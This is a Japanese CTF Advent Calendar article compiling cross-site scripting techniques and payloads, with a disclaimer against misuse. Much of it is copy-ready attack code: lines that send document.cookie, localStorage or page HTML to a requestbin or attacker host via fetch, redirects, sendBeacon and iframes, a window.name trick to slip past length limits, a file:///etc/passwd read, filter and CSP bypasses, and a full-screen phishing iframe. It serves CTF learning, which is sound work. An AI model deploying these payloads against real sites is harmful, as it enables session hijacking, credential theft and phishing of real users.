この記事はCTFのWebセキュリティ Advent Calendar 2021の7日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
クロスサイトスクリプティング(XSS)
- 名前は歴史的なものらしいので、意味はあまり気にしなくていいと思ってる。正直どこからどこまでをXSSと呼ぶべきか微妙な風に思っているが、とりあえずHTMLコードとかjsコードを埋め込むことができればXSS
- 攻撃シナリオ
- CTFではCookieを奪取するシナリオを想定する場合が多い。なので、特に何も情報がなければCookieの抜き出しをXSSで行えばいい
- セッションハイジャックは一例であり、キーロガーや画面の改ざん、一時期流行ったマイニングといった様々なことが行える
- 攻撃の種類
- ソースとシンク
- ソース:ユーザーから情報を受け取る元
- シンク:ユーザーから受け取った情報を表示する先
- 色々あるが、XSSと呼ばれるのはシンクが「画面出力、HTML,CSS,JavaScript」を指す場合である
- サーバでのコマンド実行ならコマンドインジェクションだし、メール/httpレスポンスヘッダーの中身ならヘッダーインジェクションだし
- 挿入物
- htmlタグ
- javascriptコード
- CSSコード
ペイロード
- 一般的なもの
<script>alert(1);</script>
これでアラートが出てくるかを確認する<img src=x onerror=alert(document.domain)>
<s>000'")};--//{{7*7}}[[5*5]]
- 抜き取る情報
- cookie:
alert(document.cookie);
- サイトhtml:
alert(document.documentElement.innerHTML);
- 他サイトHTML:
$.ajax({url:"page.php"}).done(function(d){alert(d)});
- 取得してどっか送る
fetch('?flag').then(e=>e.text()).then(e=>{window.location.href='[requestbin]?q='+e;})
- 取得してPOSTで送る
fetch('?flag').then(e=>e.text()).then(e=>{fetch('[requestbin]', { method : 'post', body: e })})
- 取得してPOSTで送る
fetch("/flag").then(r=>r.text()).then(z=>navigator.sendBeacon("http://example.org", z))
- 取得してどっか送る
- localStorage:
localStorage.getItem('[name]')
- cookie:
- ペイロードまとめ
- PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
- XSSパターン
- XSS フィルター回避チートシート - OWASP
- XSS GAME - Zedd's Blog
- terjanq/Tiny-XSS-Payloads: A collection of tiny XSS Payloads that can be used in different contexts.
- XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018) Writeup - こんとろーるしーこんとろーるぶい
- XSS Challenge (xss.shift-js.info) writeup - Lを探す日常
- XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup - Szarny.io
- Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa/filterbypass Wiki
- Cross-Site Scripting (XSS) Cheat Sheet - 2020 Edition | Web Security Academy
- HTML5 Security Cheatsheet
- Tiny XSS Payloads
- 短いペイロードがまとまっている所
- Cheatsheet: XSS that works in 2021 – Sam's Hacking Wonderland
- Brute XSS - Master the art of Cross Site Scripting.
- Cross Site Scripting (XSS) - Book of BugBounty Tips
- hackerone
- #639684 The return of the <
=[̕h+͓.<script/src=//evil.site/poc.js>.͓̮̮ͅ=sW&͉̹̻͙̫̦̮̲͏̼̝̫́̕
- #231444 Stored XSS in profile activity feed messages
†‡•<img src=a onerror=javascript:alert('hacked')>…‰€
- #639684 The return of the <
- テストケース
DOM-based XSS
- DOM-based XSS
- Client XSS Introduction - DomGoat このサイトで学習するのが分かりやすい
- soruce
- Sources - DomGoat
- ここで色々紹介されている
- 基本的には外部から入れられるものは全てsourceとなりうる
- Script Gadgets
- DOM-based XSSでは攻撃がクライアントサイドで完結する場合があり、その場合、運営側がログを取得できない
- ws経由でhtmlの属性をinjectionしてXSSへつなげる
- Angular
Vue
- Vue.jsにXSSが入るパターン
- v-bind
- v-bind:href
- v-bind:onmouseover
- v-bind:onfocus
- v-bind:onblur
- v-bind:onerror
- SSR(Mustache)
- userにMustanche構文を直接使わせない
{{ alert(1) }}
のようにMustache構文内部ではjsが直接かける {{ constructor.constructor("alert('css')")() }}
というテクもある
- userにMustanche構文を直接使わせない
- domProps
- compile
- v-bind
- 危険な形
new Vue({el:'#app', template: '<div>' + [userinput] + '</div>'})
<div v-html="[userinput]"></div>
h('div', { domProps: { innerHTML: [userinput] } })
描画関数を利用する場合<div domPropsInnterHTML=[userinput]></div>
JSXによる描画関数を利用する場合
- 安全な形
{{ [userinput] }}
Mustache構文という<h1 v-bind:title="[userinput]"></h1>
- セキュリティドキュメントに明記されてたこと
v-bind:href
はjavascript:~については無力なので自力で何とかして- フロントエンドとサーバサイドのテンプレートが混在しているとXSSが発動する場面がある
- Vue.compile()やVue.component(), componentsなどを使ってHTMLを動的に生成するような場合、userの入力値から任意のHTMLタグ、属性、JavaScriptコードが入り込まないようにする
- スクリプトガジェット
- とある機能によって無害なHTMLタグや属性を実行可能なJSに変換してしまうようなもの
- 2017年blackhatの資料によると、人気Webフレームワークの殆どにスクリプトガジェットが存在していたとのこと
- 例
<div data-bind="value: alert(1)"></div>
<img src=x @error="$event.target.ownerDocument.defaultView.alert(1)">
<p>{{this.$el.ownerDocument.defaultView.alert(1)}}</p>
- v-show, v-if, v-for, v-bindでも同様のことが可能
Self XSS
- これはソーシャルエンジニアリングの1種と認識されてるみたい
- ユーザーの人力で悪意あるコードが入力されるとXSSが発動する(外部からの入力は防がれている)
- 攻撃ケース(大体これだろう)
- 投稿用コードがコピーできるボタンを利用者がクリック
- 実際には悪意あるコードにすり替えられている
- 利用者がそのコードをあまり確認せずに入力して投稿するとSelf-XSS発動
- 他にもこのコードを投稿したら応募完了みたいな懸賞広告を装うとかね
- 記事
- writeups/bug.md at main · asurti6783/writeups · GitHub
- よくわからないが、X-FRAME-OPTIONSがバイパスできるっぽい
- 正当な画面を出したすぐあとに異常な画面を出す
- 1回目の画面を2回目に持ち越すことができるみたい
- 2回目の画面では異常入力なので送信が押せなくなっているが、画面持ち越しのおかげで送信が押せる
ドメイン/#/path
とURLがなっているのでvue.jsっぽいが、この#が原因でこういうことが起きているのかも
- writeups/bug.md at main · asurti6783/writeups · GitHub
CSS Injection
- 参考
- clickjacking
- XS Leakっぽく情報を抜き取る
- キーロガー CTFtime.org / BCACTF 2.0 / Stylish
- 任意のヘッダーが差し込める場合にLinkヘッダーを使ってCSSを流し込める
- CSS Injection through Header Injection - A Writeup of TSG CTF 2021 – やっていく気持ち
{a[href$=…]{background:url(…);}
- HTTPのLinkヘッダがFirefox以外全滅な件 - Qiita
Link: <data:text/css;base64,aDIgeyBjb2xvcjogcmVkOyB9>; rel=stylesheet
といった感じで流し込める。(h2 { color: red; }
を入れている)
- CSS Injection through Header Injection - A Writeup of TSG CTF 2021 – やっていく気持ち
- CSSでnonceを取得してCSPをbypassする
- CTFtime.org / ASIS CTF Quals 2021 / Lovely nonces
- [ASIS Quals 2021] Lovely Nonces
- CTFWriteups/LovelyNonces.md at master · KristinnVikarJ/CTFWriteups · GitHub
- URLのhash部分を使用して、自明にXSSできるが、nonce制約がCSPによってかかっていてjsコードが動かせない
- しかし、CSSの使用については制限が無いため、CSSを使ってnonceを抜き出して、それを使ってjsコードをインジェクションして動かす
- 今回のURLでは、XSSに使うhtmlにうまく書けば、キャッシュがうまく動いてnonceは変化しないようにできる
- 以上解説が参照しているサイトを見ると、DOM Based-XSSを例に出していて、これが原因でnonceが固定になるから実現可能?
- CTFtime.org / ASIS CTF Quals 2021 / Lovely nonces
PRSSI
- 発生個所
- NG:
<link href="../all.css">
- OK:
<link href="/css/all.css">
- OK:
<link href="https://example.com/css/all.css">
- NG:
- 発生原因
- 古いIEはtext/htmlであってもContent Sniffingでcssと判定してしまう
- https://example.com/index.phpはhttps://example.com/index.php/aaa/bbb/ccc/と書いても呼び出せる
- 解決方法
- X-Frame-Options: deny
- headに
<meta http-equiv="X-UA-Compatible"content="IE=EmulateIE7">
を入れて、iframeに目的のサイトを入れると、目的のサイトにQuirks modeを強制できる。その抑止
- headに
- モダンなdoctypeをつける
<!doctype html>
これでquirks modeというのを抑制することでも解決する - X-Content-Type-Options: nosniff
- X-Frame-Options: deny
XFS (Cross-Frame Scripting)
- XFS (Cross-Frame Scripting)
- XSSとFrameを組み合わせた手法
- XSS Challenge 2020-06
テク一覧
- GETパラメタに配列を渡すと色々悪さできたりする
?url=
を?url[]=
に変更してみる
- SVG image
- SVGはXML形式なので、scriptタグを入れることでjavascriptを埋め込むことができる
- SVGにjsコードを埋め込んでアップロードさせ、それを読み込むことで発火させる
- CONFidence CTF 2019
- '>">123: CTFZone 2019 Quals - Shop Task
- javascript内部
- titleタグにインジェクションできるとき
- php - XSS attack in title-tag - Stack Overflow
</title>任意のタグ
を入れることで、サイト構成をコントロールできる。</title></head><body>abc</body><!--
こんなこともできる。
- src属性とiframeタグでXSS
html <iframe src="javascript:document.location='https://[RequestBinURL]?cookie='+document.cookie"></iframe> <iframe src="javascript:window.location.href='https://[RequestBinURL]?get='+document.cookie"> <iframe src="data:text/html,<script>window.location='http://[RequestBinURL]?q='+document.cookie;</script>"></iframe> <iframe src="data:text/html,abab<script>window.location='https://[RequestBinURL]/q?q='+document.cookie;</script>"></iframe> <iframe src="javascript:window.location.href='https://[RequestBinURL]/q?q='+document.cookie">
- base tag injection
- markdown2.markdown
- ライブラリで脆弱性がある場合があり、XSSできる
- Filter bypass leading to XSS · Issue #341 · trentm/python-markdown2
<http://g<!s://q?<!-<[<script>alert(1);/\\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>
- Another Filter bypass leading to XSS · Issue #348 · trentm/python-markdown2
- innerHTMLのHTMLエンティティ変換のバイパステク
- Twitterで見つけたネタ
- 俺的MarkdownにおけるXSS - Qiita
- URLの埋め込む
javascript:alert(dcoumetn.domain)
- 属性を埋め込む
<script src=<?= htmlspecialchars($_GET['url']) ?>></script>
こうなっていたら、タグは埋め込めないが属性は埋め込めるtabindex="1" onfocus="[payload]" autofocus
でフォーカスさせてJSコードを実行させる
- nameを使った短いXSSテク
eval(name)
を実行させる(<svg onload=eval(name)>
とかで)- かつ、別サイトで
<script> name="jscode"; location = 'eval(name)をXSSするURL'; </script>
を踏ませるとnameのコードが実行される。文字数制限をbypassできたりする
- space2???
<a href=[input]>
となっているときに、スペースがフィルタリングされてても改行%0a
で代用ができる - 文字列表現は"で囲っても'で囲っても`で囲ってもいい
- xmlを読み込んで表示する場合
- My first bounty (stored-xss). Hi i’m Karan sharma. My first bounty… | by Karansh | Feb, 2021 | Medium
<img src=x onerror=alert(document.domain)>
- 同じドメインの情報を抜き出す
javascript:
- webビーコン
javascript:document.location='https://[requestbin]/test'
- 単純な遷移
javascript:(()=>{window.location=`https://[requestbin]?${document.cookie}`})()
- 内容取ってくるやつ
javascript:(()=>{fetch('/account.php').then((x)=>x.text()).then((x)=>fetch(`https://[requestbin]?${x}`))})()
- webビーコン
- Polyfill
- ブラウザで機能が足りない分をPolyfill.ioというのを入れて補完する方法がある
- FirefoxでTrusted Typesのbypass
- FirefoxではTrusted Typesがまだ実装されていないので、Polyfillに頼っており、これをbypassする方法がある
- 具体的には
window.trustedType
があるとbypassできる - zer0pts CTF 2021 で出題した問題の解説 - st98 の日記帳
- DOM Clobberingを使うことでwindow.trustedTypeを用意する
<s id="trustedTypes">test</s>
を入れる
- DOM Clobberingを使うことでwindow.trustedTypeを用意する
- 具体的には
- FirefoxではTrusted Typesがまだ実装されていないので、Polyfillに頼っており、これをbypassする方法がある
- CSPとかでjsは入れ込むことができなかった場合でもmetaタグなら入れられるかも
<meta http-equiv="refresh" content="0;URL=https://evil.example.com">
みたいに書けばリダイレクトできる
- DOM Clobbering
- DOM Clobbering まとめ – やっていく気持ち
window
のメンバはwindow無しでアクセスできる=グローバル変数になるので、以下のタグを作れば差し込み可能- embed, form, frameset, img, object要素のname
- 任意種類の要素のid
- Shisui - Fword CTF 2021 | bi0s
<input id="xss" value="alert(1);">
として、xss.value
とするとalert(1);
が取り出せる
- a要素に対応する HTMLAnchorElementオブジェクトは、a要素のhref属性を返す
<a href="abc" id="x"></a>
でwindow.x+''
みたいにすると、file://c:/Users/xxx/abc
みたいに返す- これを
<a href="abc:def" id="x"></a>
でwindow.x+''
みたいにすると、abc:def
みたいに帰ってきてx:console.log('test')
みたいにするとXSS発動するときがある
- XSSをphishing siteに使うとき
- iframeで全体を書き換えればいい
<iframe style="border:0;position:fixed;top:0;left:0;right:0;bottom:0;width:100%;height:100%;"src="[evilurl]" />
<iframe src="https://attacker-server.com/" position="fixed" width="100%" height="100%">
- emailの特殊な仕様について
- 例えば
user@example.com
とすると、<a href="mailto:user@example">user@example</a>
のように変換された場合 - emailのホスト部に@とかがある場合は"で囲える
"onmouseover='alert(flag.innerText)'"@a.b
とやるとインジェクションできる。
- 例えば
- ボタンを外部から発火させるとき
- htmlのボタンにidがついているときはHashを使って自動発火させることができる(条件がある?この問題でだけかも)
- CTFtime.org / VolgaCTF 2021 Qualifier / Online Wallet (Part 2)
- PDFからXSSにつなげるテクがある
https://exchangemarketplace.com/blogsearch?q=OnMoUsEoVeR=prompt(/hacked/)//
- このようにやると、qがどこかのボタンに組み込まれてボタンにマウスオーバーしたらprompt(=alert)が出てくる
- local storageを取ってきて送るとき
fetch("https://[requestbin]?/q="+encodeURI(localStorage.getItem("memo")));
- 数値変換して埋め込むことで
"
とかのフィルタリングをbypassする。cyberchefでto decimalすればいい- "alert(1)" -> String.fromCharCode(97,108,101,114,116,40,49,41)
- Dangling Markup Injectionのように中途半端なHTMLタグを仕込むことで、サニタイズを回避して、ブラウザに忖度させて実行させる
- 回避したいサニタイズ
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
- payload
<img src=x onerror="fetch('https://[requestbin]/test', { method : 'post', body: document.documentElement.innerHTML })"
- 他にもDangling markupすることで情報を抜き出してくるテクもある
<img src='http://example.com/?
としてクエリとして以下の情報を持ってくる
- 回避したいサニタイズ
- XSS Polyglots
- Building XSS Polyglots - Brute XSS
- Brute XSSは結構良い情報源?
- XSSからLFI
- Escalating XSS to Arbitrary File Read - Pethuraj's Blog
- リッチエディタのpreviewで発動する
<script%00> x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open("GET","file:///etc/passwd");x.send(); </script%00>
- 括弧を使わないXSS ここ ここ
- X-Frame-OptionsがDENYでiframeが使えないときにwindow.openを代わりに使う
<link rel="preload" href="https://webhook.site/…" as="fetch">
でアクセスを無理やり飛ばせる- UXSS: Universal XSS
- ブラウザのバグによってjsのCORSを無視した通信が行えることで、罠サイトを踏むと例えばすべてのサイトのCookieが盗めたりすること
- HTML Injection on email
- HTMLメールをサービスから送るときにXSSができる場合
- javascript実行には結びつかないので、フィッシングメールが送れるというのが最大攻撃点
- writeups
- Your Elastic Security Team, better security testing through bug bounties and managed security programs | Bugcrowd
- VRTによるとP4で判定されている
- HTML Injection | India | HTML Injection in Email | Content Spoofing
<div style="visibility: hidden;">
使えばそれ以降消せる- Dangling markupで情報抜き出せるんじゃない?
- Host Header Injection
- XSSI: Cross Site Script Inclusion
- Firefox特有
- Dangling Markup Injection
- 中途半端なタグを差し込むことでHTML構造を壊してjavascriptの読み込みなどを阻害するテク
<div id="[injected]">
みたいなところに> <script "
みたいなやつを差し込む- zer0pts CTF 2021 writeup (3 web challs) | XS-Spin Blog
- Firefoxではこれに対する防御機構がない
- Chromeでは\nと<の両方を含むURLへのアクセスがブロック(ref. https://www.chromestatus.com/feature/5735596811091968 )
- 中途半端なタグを差し込むことでHTML構造を壊してjavascriptの読み込みなどを阻害するテク
.mozilla
にfirefoxの情報が入ってる- firefoxの履歴情報は
places.sqlite
に入っているから、これを覗けば中身が見られる
- firefoxの履歴情報は
- Dangling Markup Injection
- Chrome特有
- PDFビューワー
- Chrome純正のPDFビューワーにはPostMessageを使ったAPIが設けられているので、それを使えば内容を抜き出せる
- s1r1us - zer0ptsCTF2021-challenges
- puppeter経由でLFIを達成する道筋
- PDFビューワー
- 改行(%0a)することでバイパスする
- 改行すると改行前まででチェックが走ってそれ以降がバイパスできる
- どこかが使ってたブラックリスト
javascript "document", "window", "top", "parent", "global", "this", "console", "alert", "log", "promise", "fetch", "eval", "import", "<", ">", "`", "\\*", "&", "#", "%", "\\\\", "if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string", "href", "location", "url", "cookie", "src",
- こんだけやっててもバイパスされます
- 文字数制限をバイパスするには
- GETパラメタとかで外部から抜く
https://example.com/search?q=evil
はXSS脆弱性があり、evil部分に適当なコードを入れると発動するとする- evil部分には文字数制限があり、たくさんの文字は入れられない。これを回避するのに、以下では、呼び出し元のwindow.nameを使っている。
javascript window.name = "window.location = 'http://requestbin.com/evil?q=' + document.cookie;"; location = "https://example.com/search?q=<script>eval(name)/*";
- windowをうまく使って、クッションXSSサイトから情報を渡す
- GETパラメタとかで外部から抜く
- XSS フィルター回避チートシート - OWASP
- Cross-Site Scripting (XSS) Cheat Sheet - 2021 Edition | Web Security Academy
- ?,と??を使ったjsコード実行
- XSS Obfuscation
([]?.x??alert)(1);
でalert(1);となる
- Fani Malik HackさんはTwitterを使っています 「XSS bypass, WAF, filters, sanitizers. HTML URL UTF-8 encode. Cross-site scripting (XSS) cheat sheet https://t.co/12INgd8CwU @theXSSrat #BugBounty #infosec https://t.co/QNuxEJ2CsY」 / Twitter
- WAF Bypass GitHub - R0X4R/D4rkXSS: A list of useful payloads and Bypass for Web Application Security and Bug Bounty/CTF
よくわかってない話
- HTTP レスポンスヘッダーに文字コードを指定されてない
- もうレガシーな話?
- Self-XSS to rXSS via Uploaded File Name | P4nda’s Bug Bounty Blog
- terjanq/Easter-xss-challenge: Inti easter challenge poc
- なんか新しそうだけど